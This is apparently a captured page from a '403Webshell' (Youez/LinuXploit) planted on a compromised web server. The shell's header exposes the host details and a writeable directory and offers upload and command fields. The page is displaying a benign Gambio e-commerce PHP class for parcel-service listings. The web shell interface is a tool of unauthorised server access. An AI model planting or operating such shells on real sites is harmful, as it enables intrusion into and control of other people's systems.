403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/tracking/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/tracking/ParcelServicesOverviewContentView.inc.php
<?php
/* --------------------------------------------------------------
  ParcelServicesOverviewContentView.inc.php 2015-10-07
  Gambio GmbH
  http://www.gambio.de
  Copyright (c) 2015 Gambio GmbH
  Released under the GNU General Public License (Version 2)
  [http://www.gnu.org/licenses/gpl-2.0.html]
  --------------------------------------------------------------
 */

class ParcelServicesOverviewContentView extends ContentView
{
	protected $pageToken;
	
	public function __construct()
	{
		parent::__construct();
		$this->set_template_dir(DIR_FS_CATALOG . 'admin/html/content/tracking/');
		$this->set_content_template('parcel_services_overview.html');
	}
	
	public function prepare_data()
	{
		$parcelServiceReadService = MainFactory::create_object('ParcelServiceReader');
		$this->content_array['parcel_services_array'] = $parcelServiceReadService->getAllParcelServices();
		$this->content_array['parcel_services_array'] = $this->_cleanAllParcelServices($this->content_array['parcel_services_array']);
		$this->content_array['page_token'] = $this->pageToken;
	}


	/**
	 * @param array $parcelServiceArray
	 *
	 * @return array
	 */
	protected function _cleanAllParcelServices(array $parcelServiceArray)
	{
		foreach($parcelServiceArray as $key => $parcel_service)
		{
			$parcelServiceArray[$key] = $this->_cleanParcelService($parcel_service);
		}
		
		return $parcelServiceArray;
	}


	/**
	 * @param ParcelService $parcelService
	 *
	 * @return ParcelService
	 */
	protected function _cleanParcelService(ParcelService $parcelService)
	{
		$parcelService->setName(htmlspecialchars_wrapper($parcelService->getName()));
		
		$urlArray = $parcelService->getUrlArray();
		foreach ($urlArray as $languageId => $url)
		{
			$parcelService->setUrlByLanguageId($languageId, htmlspecialchars_wrapper($url));
		}

		$commentArray = $parcelService->getCommentArray();
		foreach ($commentArray as $languageId => $comment)
		{
			$parcelService->setCommentByLanguageId($languageId, htmlspecialchars_wrapper($comment));
		}
		
		return $parcelService;
	}


	/**
	 * @param string $p_pageToken
	 */
	public function setPageToken($p_pageToken)
	{
		$this->pageToken = (string)$p_pageToken;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit